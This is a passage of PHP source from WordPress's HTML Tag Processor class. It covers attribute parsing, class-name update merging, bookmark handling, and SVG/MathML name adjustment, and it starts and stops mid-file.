	private function parse_next_attribute(): bool {
		$doc_length = strlen( $this->html );

		// Skip whitespace and slashes.
		$this->bytes_already_parsed += strspn( $this->html, " \t\f\r\n/", $this->bytes_already_parsed );
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		/*
		 * Treat the equal sign as a part of the attribute
		 * name if it is the first encountered byte.
		 *
		 * @see https://html.spec.whatwg.org/multipage/parsing.html#before-attribute-name-state
		 */
		$name_length = '=' === $this->html[ $this->bytes_already_parsed ]
			? 1 + strcspn( $this->html, "=/> \t\f\r\n", $this->bytes_already_parsed + 1 )
			: strcspn( $this->html, "=/> \t\f\r\n", $this->bytes_already_parsed );

		// No attribute, just tag closer.
		if ( 0 === $name_length || $this->bytes_already_parsed + $name_length >= $doc_length ) {
			return false;
		}

		$attribute_start             = $this->bytes_already_parsed;
		$attribute_name              = substr( $this->html, $attribute_start, $name_length );
		$this->bytes_already_parsed += $name_length;
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		$this->skip_whitespace();
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		$has_value = '=' === $this->html[ $this->bytes_already_parsed ];
		if ( $has_value ) {
			++$this->bytes_already_parsed;
			$this->skip_whitespace();
			if ( $this->bytes_already_parsed >= $doc_length ) {
				$this->parser_state = self::STATE_INCOMPLETE_INPUT;

				return false;
			}

			switch ( $this->html[ $this->bytes_already_parsed ] ) {
				case "'":
				case '"':
					$quote                      = $this->html[ $this->bytes_already_parsed ];
					$value_start                = $this->bytes_already_parsed + 1;
					$end_quote_at               = strpos( $this->html, $quote, $value_start );
					$end_quote_at               = false === $end_quote_at ? $doc_length : $end_quote_at;
					$value_length               = $end_quote_at - $value_start;
					$attribute_end              = $end_quote_at + 1;
					$this->bytes_already_parsed = $attribute_end;
					break;

				default:
					$value_start                = $this->bytes_already_parsed;
					$value_length               = strcspn( $this->html, "> \t\f\r\n", $value_start );
					$attribute_end              = $value_start + $value_length;
					$this->bytes_already_parsed = $attribute_end;
			}
		} else {
			$value_start   = $this->bytes_already_parsed;
			$value_length  = 0;
			$attribute_end = $attribute_start + $name_length;
		}

		if ( $attribute_end >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		if ( $this->is_closing_tag ) {
			return true;
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$comparable_name = strtolower( $attribute_name );

		// If an attribute is listed many times, only use the first declaration and ignore the rest.
		if ( ! isset( $this->attributes[ $comparable_name ] ) ) {
			$this->attributes[ $comparable_name ] = new WP_HTML_Attribute_Token(
				$attribute_name,
				$value_start,
				$value_length,
				$attribute_start,
				$attribute_end - $attribute_start,
				! $has_value
			);

			return true;
		}

		/*
		 * Track the duplicate attributes so if we remove it, all disappear together.
		 *
		 * While `$this->duplicated_attributes` could always be stored as an `array()`,
		 * which would simplify the logic here, storing a `null` and only allocating
		 * an array when encountering duplicates avoids needless allocations in the
		 * normative case of parsing tags with no duplicate attributes.
		 */
		$duplicate_span = new WP_HTML_Span( $attribute_start, $attribute_end - $attribute_start );
		if ( null === $this->duplicate_attributes ) {
			$this->duplicate_attributes = array( $comparable_name => array( $duplicate_span ) );
		} elseif ( ! isset( $this->duplicate_attributes[ $comparable_name ] ) ) {
			$this->duplicate_attributes[ $comparable_name ] = array( $duplicate_span );
		} else {
			$this->duplicate_attributes[ $comparable_name ][] = $duplicate_span;
		}

		return true;
	}

	/**
	 * Move the internal cursor past any immediate successive whitespace.
	 *
	 * @since 6.2.0
	 */
	private function skip_whitespace(): void {
		$this->bytes_already_parsed += strspn( $this->html, " \t\f\r\n", $this->bytes_already_parsed );
	}

	/**
	 * Applies attribute updates and cleans up once a tag is fully parsed.
	 *
	 * @since 6.2.0
	 */
	private function after_tag(): void {
		/*
		 * There could be lexical updates enqueued for an attribute that
		 * also exists on the next tag. In order to avoid conflating the
		 * attributes across the two tags, lexical updates with names
		 * need to be flushed to raw lexical updates.
		 */
		$this->class_name_updates_to_attributes_updates();

		/*
		 * Purge updates if there are too many. The actual count isn't
		 * scientific, but a few values from 100 to a few thousand were
		 * tests to find a practically-useful limit.
		 *
		 * If the update queue grows too big, then the Tag Processor
		 * will spend more time iterating through them and lose the
		 * efficiency gains of deferring applying them.
		 */
		if ( 1000 < count( $this->lexical_updates ) ) {
			$this->get_updated_html();
		}

		foreach ( $this->lexical_updates as $name => $update ) {
			/*
			 * Any updates appearing after the cursor should be applied
			 * before proceeding, otherwise they may be overlooked.
			 */
			if ( $update->start >= $this->bytes_already_parsed ) {
				$this->get_updated_html();
				break;
			}

			if ( is_int( $name ) ) {
				continue;
			}

			$this->lexical_updates[] = $update;
			unset( $this->lexical_updates[ $name ] );
		}

		$this->token_starts_at          = null;
		$this->token_length             = null;
		$this->tag_name_starts_at       = null;
		$this->tag_name_length          = null;
		$this->text_starts_at           = 0;
		$this->text_length              = 0;
		$this->is_closing_tag           = null;
		$this->attributes               = array();
		$this->comment_type             = null;
		$this->text_node_classification = self::TEXT_IS_GENERIC;
		$this->duplicate_attributes     = null;
	}

	/**
	 * Converts class name updates into tag attributes updates
	 * (they are accumulated in different data formats for performance).
	 *
	 * @since 6.2.0
	 *
	 * @see WP_HTML_Tag_Processor::$lexical_updates
	 * @see WP_HTML_Tag_Processor::$classname_updates
	 */
	private function class_name_updates_to_attributes_updates(): void {
		if ( count( $this->classname_updates ) === 0 ) {
			return;
		}

		$existing_class = $this->get_enqueued_attribute_value( 'class' );
		if ( null === $existing_class || true === $existing_class ) {
			$existing_class = '';
		}

		if ( false === $existing_class && isset( $this->attributes['class'] ) ) {
			$existing_class = substr(
				$this->html,
				$this->attributes['class']->value_starts_at,
				$this->attributes['class']->value_length
			);
		}

		if ( false === $existing_class ) {
			$existing_class = '';
		}

		/**
		 * Updated "class" attribute value.
		 *
		 * This is incrementally built while scanning through the existing class
		 * attribute, skipping removed classes on the way, and then appending
		 * added classes at the end. Only when finished processing will the
		 * value contain the final new value.

		 * @var string $class
		 */
		$class = '';

		/**
		 * Tracks the cursor position in the existing
		 * class attribute value while parsing.
		 *
		 * @var int $at
		 */
		$at = 0;

		/**
		 * Indicates if there's any need to modify the existing class attribute.
		 *
		 * If a call to `add_class()` and `remove_class()` wouldn't impact
		 * the `class` attribute value then there's no need to rebuild it.
		 * For example, when adding a class that's already present or
		 * removing one that isn't.
		 *
		 * This flag enables a performance optimization when none of the enqueued
		 * class updates would impact the `class` attribute; namely, that the
		 * processor can continue without modifying the input document, as if
		 * none of the `add_class()` or `remove_class()` calls had been made.
		 *
		 * This flag is set upon the first change that requires a string update.
		 *
		 * @var bool $modified
		 */
		$modified = false;

		$seen      = array();
		$to_remove = array();
		$is_quirks = self::QUIRKS_MODE === $this->compat_mode;
		if ( $is_quirks ) {
			foreach ( $this->classname_updates as $updated_name => $action ) {
				if ( self::REMOVE_CLASS === $action ) {
					$to_remove[] = strtolower( $updated_name );
				}
			}
		} else {
			foreach ( $this->classname_updates as $updated_name => $action ) {
				if ( self::REMOVE_CLASS === $action ) {
					$to_remove[] = $updated_name;
				}
			}
		}

		// Remove unwanted classes by only copying the new ones.
		$existing_class_length = strlen( $existing_class );
		while ( $at < $existing_class_length ) {
			// Skip to the first non-whitespace character.
			$ws_at     = $at;
			$ws_length = strspn( $existing_class, " \t\f\r\n", $ws_at );
			$at       += $ws_length;

			// Capture the class name – it's everything until the next whitespace.
			$name_length = strcspn( $existing_class, " \t\f\r\n", $at );
			if ( 0 === $name_length ) {
				// If no more class names are found then that's the end.
				break;
			}

			$name                  = substr( $existing_class, $at, $name_length );
			$comparable_class_name = $is_quirks ? strtolower( $name ) : $name;
			$at                   += $name_length;

			// If this class is marked for removal, remove it and move on to the next one.
			if ( in_array( $comparable_class_name, $to_remove, true ) ) {
				$modified = true;
				continue;
			}

			// If a class has already been seen then skip it; it should not be added twice.
			if ( in_array( $comparable_class_name, $seen, true ) ) {
				continue;
			}

			$seen[] = $comparable_class_name;

			/*
			 * Otherwise, append it to the new "class" attribute value.
			 *
			 * There are options for handling whitespace between tags.
			 * Preserving the existing whitespace produces fewer changes
			 * to the HTML content and should clarify the before/after
			 * content when debugging the modified output.
			 *
			 * This approach contrasts normalizing the inter-class
			 * whitespace to a single space, which might appear cleaner
			 * in the output HTML but produce a noisier change.
			 */
			if ( '' !== $class ) {
				$class .= substr( $existing_class, $ws_at, $ws_length );
			}
			$class .= $name;
		}

		// Add new classes by appending those which haven't already been seen.
		foreach ( $this->classname_updates as $name => $operation ) {
			$comparable_name = $is_quirks ? strtolower( $name ) : $name;
			if ( self::ADD_CLASS === $operation && ! in_array( $comparable_name, $seen, true ) ) {
				$modified = true;

				$class .= strlen( $class ) > 0 ? ' ' : '';
				$class .= $name;
			}
		}

		$this->classname_updates = array();
		if ( ! $modified ) {
			return;
		}

		if ( strlen( $class ) > 0 ) {
			$this->set_attribute( 'class', $class );
		} else {
			$this->remove_attribute( 'class' );
		}
	}

	/**
	 * Applies attribute updates to HTML document.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Accumulates shift for internal cursor and passed pointer.
	 * @since 6.3.0 Invalidate any bookmarks whose targets are overwritten.
	 *
	 * @param int $shift_this_point Accumulate and return shift for this position.
	 * @return int How many bytes the given pointer moved in response to the updates.
	 */
	private function apply_attributes_updates( int $shift_this_point ): int {
		if ( ! count( $this->lexical_updates ) ) {
			return 0;
		}

		$accumulated_shift_for_given_point = 0;

		/*
		 * Attribute updates can be enqueued in any order but updates
		 * to the document must occur in lexical order; that is, each
		 * replacement must be made before all others which follow it
		 * at later string indices in the input document.
		 *
		 * Sorting avoid making out-of-order replacements which
		 * can lead to mangled output, partially-duplicated
		 * attributes, and overwritten attributes.
		 */
		usort( $this->lexical_updates, array( self::class, 'sort_start_ascending' ) );

		$bytes_already_copied = 0;
		$output_buffer        = '';
		foreach ( $this->lexical_updates as $diff ) {
			$shift = strlen( $diff->text ) - $diff->length;

			// Adjust the cursor position by however much an update affects it.
			if ( $diff->start < $this->bytes_already_parsed ) {
				$this->bytes_already_parsed += $shift;
			}

			// Accumulate shift of the given pointer within this function call.
			if ( $diff->start < $shift_this_point ) {
				$accumulated_shift_for_given_point += $shift;
			}

			$output_buffer       .= substr( $this->html, $bytes_already_copied, $diff->start - $bytes_already_copied );
			$output_buffer       .= $diff->text;
			$bytes_already_copied = $diff->start + $diff->length;
		}

		$this->html = $output_buffer . substr( $this->html, $bytes_already_copied );

		/*
		 * Adjust bookmark locations to account for how the text
		 * replacements adjust offsets in the input document.
		 */
		foreach ( $this->bookmarks as $bookmark_name => $bookmark ) {
			$bookmark_end = $bookmark->start + $bookmark->length;

			/*
			 * Each lexical update which appears before the bookmark's endpoints
			 * might shift the offsets for those endpoints. Loop through each change
			 * and accumulate the total shift for each bookmark, then apply that
			 * shift after tallying the full delta.
			 */
			$head_delta = 0;
			$tail_delta = 0;

			foreach ( $this->lexical_updates as $diff ) {
				$diff_end = $diff->start + $diff->length;

				if ( $bookmark->start < $diff->start && $bookmark_end < $diff->start ) {
					break;
				}

				if ( $bookmark->start >= $diff->start && $bookmark_end < $diff_end ) {
					$this->release_bookmark( $bookmark_name );
					continue 2;
				}

				$delta = strlen( $diff->text ) - $diff->length;

				if ( $bookmark->start >= $diff->start ) {
					$head_delta += $delta;
				}

				if ( $bookmark_end >= $diff_end ) {
					$tail_delta += $delta;
				}
			}

			$bookmark->start  += $head_delta;
			$bookmark->length += $tail_delta - $head_delta;
		}

		$this->lexical_updates = array();

		return $accumulated_shift_for_given_point;
	}

	/**
	 * Checks whether a bookmark with the given name exists.
	 *
	 * @since 6.3.0
	 *
	 * @param string $bookmark_name Name to identify a bookmark that potentially exists.
	 * @return bool Whether that bookmark exists.
	 */
	public function has_bookmark( $bookmark_name ): bool {
		return array_key_exists( $bookmark_name, $this->bookmarks );
	}

	/**
	 * Move the internal cursor in the Tag Processor to a given bookmark's location.
	 *
	 * In order to prevent accidental infinite loops, there's a
	 * maximum limit on the number of times seek() can be called.
	 *
	 * @since 6.2.0
	 *
	 * @param string $bookmark_name Jump to the place in the document identified by this bookmark name.
	 * @return bool Whether the internal cursor was successfully moved to the bookmark's location.
	 */
	public function seek( $bookmark_name ): bool {
		if ( ! array_key_exists( $bookmark_name, $this->bookmarks ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Unknown bookmark name.' ),
				'6.2.0'
			);
			return false;
		}

		$existing_bookmark = $this->bookmarks[ $bookmark_name ];

		if (
			$this->token_starts_at === $existing_bookmark->start &&
			$this->token_length === $existing_bookmark->length
		) {
			return true;
		}

		if ( ++$this->seek_count > static::MAX_SEEK_OPS ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Too many calls to seek() - this can lead to performance issues.' ),
				'6.2.0'
			);
			return false;
		}

		// Flush out any pending updates to the document.
		$this->get_updated_html();

		// Point this tag processor before the sought tag opener and consume it.
		$this->bytes_already_parsed = $this->bookmarks[ $bookmark_name ]->start;
		$this->parser_state         = self::STATE_READY;
		return $this->next_token();
	}

	/**
	 * Compare two WP_HTML_Text_Replacement objects.
	 *
	 * @since 6.2.0
	 *
	 * @param WP_HTML_Text_Replacement $a First attribute update.
	 * @param WP_HTML_Text_Replacement $b Second attribute update.
	 * @return int Comparison value for string order.
	 */
	private static function sort_start_ascending( WP_HTML_Text_Replacement $a, WP_HTML_Text_Replacement $b ): int {
		$by_start = $a->start - $b->start;
		if ( 0 !== $by_start ) {
			return $by_start;
		}

		$by_text = isset( $a->text, $b->text ) ? strcmp( $a->text, $b->text ) : 0;
		if ( 0 !== $by_text ) {
			return $by_text;
		}

		/*
		 * This code should be unreachable, because it implies the two replacements
		 * start at the same location and contain the same text.
		 */
		return $a->length - $b->length;
	}

	/**
	 * Return the enqueued value for a given attribute, if one exists.
	 *
	 * Enqueued updates can take different data types:
	 *  - If an update is enqueued and is boolean, the return will be `true`
	 *  - If an update is otherwise enqueued, the return will be the string value of that update.
	 *  - If an attribute is enqueued to be removed, the return will be `null` to indicate that.
	 *  - If no updates are enqueued, the return will be `false` to differentiate from "removed."
	 *
	 * @since 6.2.0
	 *
	 * @param string $comparable_name The attribute name in its comparable form.
	 * @return string|boolean|null Value of enqueued update if present, otherwise false.
	 */
	private function get_enqueued_attribute_value( string $comparable_name ) {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		if ( ! isset( $this->lexical_updates[ $comparable_name ] ) ) {
			return false;
		}

		$enqueued_text = $this->lexical_updates[ $comparable_name ]->text;

		// Removed attributes erase the entire span.
		if ( '' === $enqueued_text ) {
			return null;
		}

		/*
		 * Boolean attribute updates are just the attribute name without a corresponding value.
		 *
		 * This value might differ from the given comparable name in that there could be leading
		 * or trailing whitespace, and that the casing follows the name given in `set_attribute`.
		 *
		 * Example:
		 *
		 *     $p->set_attribute( 'data-TEST-id', 'update' );
		 *     'update' === $p->get_enqueued_attribute_value( 'data-test-id' );
		 *
		 * Detect this difference based on the absence of the `=`, which _must_ exist in any
		 * attribute containing a value, e.g. `<input type="text" enabled />`.
		 *                                            ¹           ²
		 *                                       1. Attribute with a string value.
		 *                                       2. Boolean attribute whose value is `true`.
		 */
		$equals_at = strpos( $enqueued_text, '=' );
		if ( false === $equals_at ) {
			return true;
		}

		/*
		 * Finally, a normal update's value will appear after the `=` and
		 * be double-quoted, as performed incidentally by `set_attribute`.
		 *
		 * e.g. `type="text"`
		 *           ¹²    ³
		 *        1. Equals is here.
		 *        2. Double-quoting starts one after the equals sign.
		 *        3. Double-quoting ends at the last character in the update.
		 */
		$enqueued_value = substr( $enqueued_text, $equals_at + 2, -1 );
		return WP_HTML_Decoder::decode_attribute( $enqueued_value );
	}

	/**
	 * Returns the value of a requested attribute from a matched tag opener if that attribute exists.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div enabled class="test" data-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute( 'data-test-id' ) === '14';
	 *     $p->get_attribute( 'enabled' ) === true;
	 *     $p->get_attribute( 'aria-label' ) === null;
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute( 'class' ) === null;
	 *
	 * @since 6.2.0
	 *
	 * @param string $name Name of attribute whose value is requested.
	 * @return string|true|null Value of attribute or `null` if not available. Boolean attributes return `true`.
	 */
	public function get_attribute( $name ) {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$comparable = strtolower( $name );

		/*
		 * For every attribute other than `class` it's possible to perform a quick check if
		 * there's an enqueued lexical update whose value takes priority over what's found in
		 * the input document.
		 *
		 * The `class` attribute is special though because of the exposed helpers `add_class`
		 * and `remove_class`. These form a builder for the `class` attribute, so an additional
		 * check for enqueued class changes is required in addition to the check for any enqueued
		 * attribute values. If any exist, those enqueued class changes must first be flushed out
		 * into an attribute value update.
		 */
		if ( 'class' === $name ) {
			$this->class_name_updates_to_attributes_updates();
		}

		// Return any enqueued attribute value updates if they exist.
		$enqueued_value = $this->get_enqueued_attribute_value( $comparable );
		if ( false !== $enqueued_value ) {
			return $enqueued_value;
		}

		if ( ! isset( $this->attributes[ $comparable ] ) ) {
			return null;
		}

		$attribute = $this->attributes[ $comparable ];

		/*
		 * This flag distinguishes an attribute with no value
		 * from an attribute with an empty string value. For
		 * unquoted attributes this could look very similar.
		 * It refers to whether an `=` follows the name.
		 *
		 * e.g. <div boolean-attribute empty-attribute=></div>
		 *           ¹                 ²
		 *        1. Attribute `boolean-attribute` is `true`.
		 *        2. Attribute `empty-attribute` is `""`.
		 */
		if ( true === $attribute->is_true ) {
			return true;
		}

		$raw_value = substr( $this->html, $attribute->value_starts_at, $attribute->value_length );

		return WP_HTML_Decoder::decode_attribute( $raw_value );
	}

	/**
	 * Gets lowercase names of all attributes matching a given prefix in the current tag.
	 *
	 * Note that matching is case-insensitive. This is in accordance with the spec:
	 *
	 * > There must never be two or more attributes on
	 * > the same start tag whose names are an ASCII
	 * > case-insensitive match for each other.
	 *     - HTML 5 spec
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div data-ENABLED class="test" DATA-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === array( 'data-enabled', 'data-test-id' );
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === null;
	 *
	 * @since 6.2.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
	 *
	 * @param string $prefix Prefix of requested attribute names.
	 * @return array|null List of attribute names, or `null` when no tag opener is matched.
	 */
	public function get_attribute_names_with_prefix( $prefix ): ?array {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return null;
		}

		$comparable = strtolower( $prefix );

		$matches = array();
		foreach ( array_keys( $this->attributes ) as $attr_name ) {
			if ( str_starts_with( $attr_name, $comparable ) ) {
				$matches[] = $attr_name;
			}
		}
		return $matches;
	}

	/**
	 * Returns the namespace of the matched token.
	 *
	 * @since 6.7.0
	 *
	 * @return string One of 'html', 'math', or 'svg'.
	 */
	public function get_namespace(): string {
		return $this->parsing_namespace;
	}

	/**
	 * Returns the uppercase name of the matched tag.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div class="test">Test</div>' );
	 *     $p->next_tag() === true;
	 *     $p->get_tag() === 'DIV';
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_tag() === null;
	 *
	 * @since 6.2.0
	 *
	 * @return string|null Name of currently matched tag in input HTML, or `null` if none found.
	 */
	public function get_tag(): ?string {
		if ( null === $this->tag_name_starts_at ) {
			return null;
		}

		$tag_name = substr( $this->html, $this->tag_name_starts_at, $this->tag_name_length );

		if ( self::STATE_MATCHED_TAG === $this->parser_state ) {
			return strtoupper( $tag_name );
		}

		if (
			self::STATE_COMMENT === $this->parser_state &&
			self::COMMENT_AS_PI_NODE_LOOKALIKE === $this->get_comment_type()
		) {
			return $tag_name;
		}

		return null;
	}

	/**
	 * Returns the adjusted tag name for a given token, taking into
	 * account the current parsing context, whether HTML, SVG, or MathML.
	 *
	 * @since 6.7.0
	 *
	 * @return string|null Name of current tag name.
	 */
	public function get_qualified_tag_name(): ?string {
		$tag_name = $this->get_tag();
		if ( null === $tag_name ) {
			return null;
		}

		if ( 'html' === $this->get_namespace() ) {
			return $tag_name;
		}

		$lower_tag_name = strtolower( $tag_name );
		if ( 'math' === $this->get_namespace() ) {
			return $lower_tag_name;
		}

		if ( 'svg' === $this->get_namespace() ) {
			switch ( $lower_tag_name ) {
				case 'altglyph':
					return 'altGlyph';

				case 'altglyphdef':
					return 'altGlyphDef';

				case 'altglyphitem':
					return 'altGlyphItem';

				case 'animatecolor':
					return 'animateColor';

				case 'animatemotion':
					return 'animateMotion';

				case 'animatetransform':
					return 'animateTransform';

				case 'clippath':
					return 'clipPath';

				case 'feblend':
					return 'feBlend';

				case 'fecolormatrix':
					return 'feColorMatrix';

				case 'fecomponenttransfer':
					return 'feComponentTransfer';

				case 'fecomposite':
					return 'feComposite';

				case 'feconvolvematrix':
					return 'feConvolveMatrix';

				case 'fediffuselighting':
					return 'feDiffuseLighting';

				case 'fedisplacementmap':
					return 'feDisplacementMap';

				case 'fedistantlight':
					return 'feDistantLight';

				case 'fedropshadow':
					return 'feDropShadow';

				case 'feflood':
					return 'feFlood';

				case 'fefunca':
					return 'feFuncA';

				case 'fefuncb':
					return 'feFuncB';

				case 'fefuncg':
					return 'feFuncG';

				case 'fefuncr':
					return 'feFuncR';

				case 'fegaussianblur':
					return 'feGaussianBlur';

				case 'feimage':
					return 'feImage';

				case 'femerge':
					return 'feMerge';

				case 'femergenode':
					return 'feMergeNode';

				case 'femorphology':
					return 'feMorphology';

				case 'feoffset':
					return 'feOffset';

				case 'fepointlight':
					return 'fePointLight';

				case 'fespecularlighting':
					return 'feSpecularLighting';

				case 'fespotlight':
					return 'feSpotLight';

				case 'fetile':
					return 'feTile';

				case 'feturbulence':
					return 'feTurbulence';

				case 'foreignobject':
					return 'foreignObject';

				case 'glyphref':
					return 'glyphRef';

				case 'lineargradient':
					return 'linearGradient';

				case 'radialgradient':
					return 'radialGradient';

				case 'textpath':
					return 'textPath';

				default:
					return $lower_tag_name;
			}
		}

		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return $tag_name;
	}

	/**
	 * Returns the adjusted attribute name for a given attribute, taking into
	 * account the current parsing context, whether HTML, SVG, or MathML.
	 *
	 * @since 6.7.0
	 *
	 * @param string $attribute_name Which attribute to adjust.
	 *
	 * @return string|null
	 */
	public function get_qualified_attribute_name( $attribute_name ): ?string {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$namespace  = $this->get_namespace();
		$lower_name = strtolower( $attribute_name );

		if ( 'math' === $namespace && 'definitionurl' === $lower_name ) {
			return 'definitionURL';
		}

		if ( 'svg' === $this->get_namespace() ) {
			switch ( $lower_name ) {
				case 'attributename':
					return 'attributeName';

				case 'attributetype':
					return 'attributeType';

				case 'basefrequency':
					return 'baseFrequency';

				case 'baseprofile':
					return 'baseProfile';

				case 'calcmode':
					return 'calcMode';

				case 'clippathunits':
					return 'clipPathUnits';

				case 'diffuseconstant':
					return 'diffuseConstant';

				case 'edgemode':
					return 'edgeMode';

				case 'filterunits':
					return 'filterUnits';

				case 'glyphref':
					return 'glyphRef';

				case 'gradienttransform':
					return 'gradientTransform';

				case 'gradientunits':
					return 'gradientUnits';

				case 'kernelmatrix':
					return 'kernelMatrix';

				case 'kernelunitlength':
					return 'kernelUnitLength';

				case 'keypoints':
					return 'keyPoints';

				case 'keysplines':
					return 'keySplines';

				case 'keytimes':
					return 'keyTimes';

				case 'lengthadjust':
					return 'lengthAdjust';

				case 'limitingconeangle':
					return 'limitingConeAngle';

				case 'markerheight':
					return 'markerHeight';

				case 'markerunits':
					return 'markerUnits';

				case 'markerwidth':
					return 'markerWidth';

				case 'maskcontentunits':
					return 'maskContentUnits';

				case 'maskunits':
					return 'maskUnits';

				case 'numoctaves':
					return 'numOctaves';

				case 'pathlength':
					return 'pathLength';

				case 'patterncontentunits':
					return 'patternContentUnits';

				case 'patterntransform':
					return 'patternTransform';

				case 'patternunits':
					return 'patternUnits';

				case 'pointsatx':
					return 'pointsAtX';

				case 'pointsaty':
					return 'pointsAtY';

				case 'pointsatz':
					return 'pointsAtZ';

				case 'preservealpha':
					return 'preserveAlpha';

				case 'preserveaspectratio':
					return 'preserveAspectRatio';

				case 'primitiveunits':
					return 'primitiveUnits';

				case 'refx':
					return 'refX';

				case 'refy':
					return 'refY';

				case 'repeatcount':
					return 'repeatCount';

				case 'repeatdur':
					return 'repeatDur';

				case 'requiredextensions':
					return 'requiredExtensions';

				case 'requiredfeatures':
					return 'requiredFeatures';

				case 'specularconstant':
					return 'specularConstant';

				case 'specularexponent':
					return 'specularExponent';

				case 'spreadmethod':
					return 'spreadMethod';

				case 'startoffset':
					return 'startOffset';

				case 'stddeviation':
					return 'stdDeviation';

				case 'stitchtiles':
					return 'stitchTiles';

				case 'surfacescale':
					return 'surfaceScale';

				case 'systemlanguage':
					return 'systemLanguage';

				case 'tablevalues':
					return 'tableValues';

				case 'targetx':
					return 'targetX';

				case 'targety':
					return 'targetY';

				case 'textlength':
					return 'textLength';

				case 'viewbox':
					return 'viewBox';

				case 'viewtarget':
					return 'viewTarget';

				case 'xchannelselector':
					return 'xChannelSelector';

				case 'ychannelselector':
					return 'yChannelSelector';

				case 'zoomandpan':
					return 'zoomAndPan';
			}
		}

		if ( 'html' !== $namespace ) {
			switch ( $lower_name ) {
				case 'xlink:actuate':
					return 'xlink actuate';

				case 'xlink:arcrole':
					return 'xlink arcrole';

				case 'xlink:href':
					return 'xlink href';

				case 'xlink:role':
					return 'xlink role';

				case 'xlink:show':
					return 'xlink show';

				case 'xlink:title':
					return 'xlink title';

				case 'xlink:type':
					return 'xlink type';

				case 'xml:lang':
					return 'xml lang';

				case 'xml:space':
					return 'xml space';

				case 'xmlns':
					return 'xmlns';

				case 'xmlns:xlink':
					return 'xmlns xlink';
			}
		}

		return $attribute_name;
	}

	/**
	 * Indicates if the currently matched tag contains the self-closing flag.
	 *
	 * No HTML elements ought to have the self-closing flag and for those, the self-closing
	 * flag will be ignored. For void elements this is benign because they "self close"
	 * automatically. For non-void HTML elements though problems will appear if someone
	 * intends to use a self-closing element in place of that element with an empty body.
	 * For HTML foreign elements and custom elements the self-closing flag determines if
	 * they self-close or not.
	 *
	 * This function does not determine if a tag is self-closing,
	 * but only if the self-closing flag is present in the syntax.
	 *
	 * @since 6.3.0
	 *
	 * @return bool Whether the currently matched tag contains the self-closing flag.
	 */
	public function has_self_closing_flag(): bool {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		/*
		 * The self-closing flag is the solidus at the _end_ of the tag, not the beginning.
		 *
		 * Example:
		 *
		 *     <figure />
		 *             ^ this appears one character before the end of the closing ">".
		 */
		return '/' === $this->html[ $this->token_starts_at + $this->token_length - 2 ];
	}

	/**
	 * Indicates if the current tag token is a tag closer.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div></div>' );
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === false;
	 *
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === true;
	 *
	 * @since 6.2.0
	 * @since 6.7.0 Reports all BR tags as opening tags.
	 *
	 * @return bool Whether the current tag is a tag closer.
	 */
	public function is_tag_closer(): bool {
		return (
			self::STATE_MATCHED_TAG === $this->parser_state &&
			$this->is_closing_tag &&

			/*
			 * The BR tag can only exist as an opening tag. If something like `</br>`
			 * appears then the HTML parser will treat it as an opening tag with no
			 * attributes. The BR tag is unique in this way.
			 *
			 * @see https://html.spec.whatwg.org/#parsing-main-inbody
			 */
			'BR' !== $this->get_tag()
		);
	}

	/**
	 * Indicates the kind of matched token, if any.
	 *
	 * This differs from `get_token_name()` in that it always
	 * returns a static string indicating the type, whereas
	 * `get_token_name()` may return values derived from the
	 * token itself, such as a tag name or processing
	 * instruction tag.
	 *
	 * Possible values:
	 *  - `#tag` when matched on a tag.
	 *  - `#text` when matched on a text node.
	 *  - `#cdata-section` when matched on a CDATA node.
	 *  - `#comment` when matched on a comment.
	 *  - `#doctype` when matched on a DOCTYPE declaration.
	 *  - `#presumptuous-tag` when matched on an empty tag closer.
	 *  - `#funky-comment` when matched on a funky comment.
	 *
	 * @since 6.5.0
	 *
	 * @return string|null What kind of token is matched, or null.
	 */
	public function get_token_type(): ?string {
		switch ( $this->parser_state ) {
			case self::STATE_MATCHED_TAG:
				return '#tag';

			case self::STATE_DOCTYPE:
				return '#doctype';

			default:
				return $this->get_token_name();
		}
	}

	/**
	 * Returns the node name represented by the token.
	 *
	 * This matches the DOM API value `nodeName`. Some values
	 * are static, such as `#text` for a text node, while others
	 * are dynamically generated from the token itself.
	 *
	 * Dynamic names:
	 *  - Uppercase tag name for tag matches.
	 *  - `html` for DOCTYPE declarations.
	 *
	 * Note that if the Tag Processor is not matched on a token
	 * then this function will return `null`, either because it
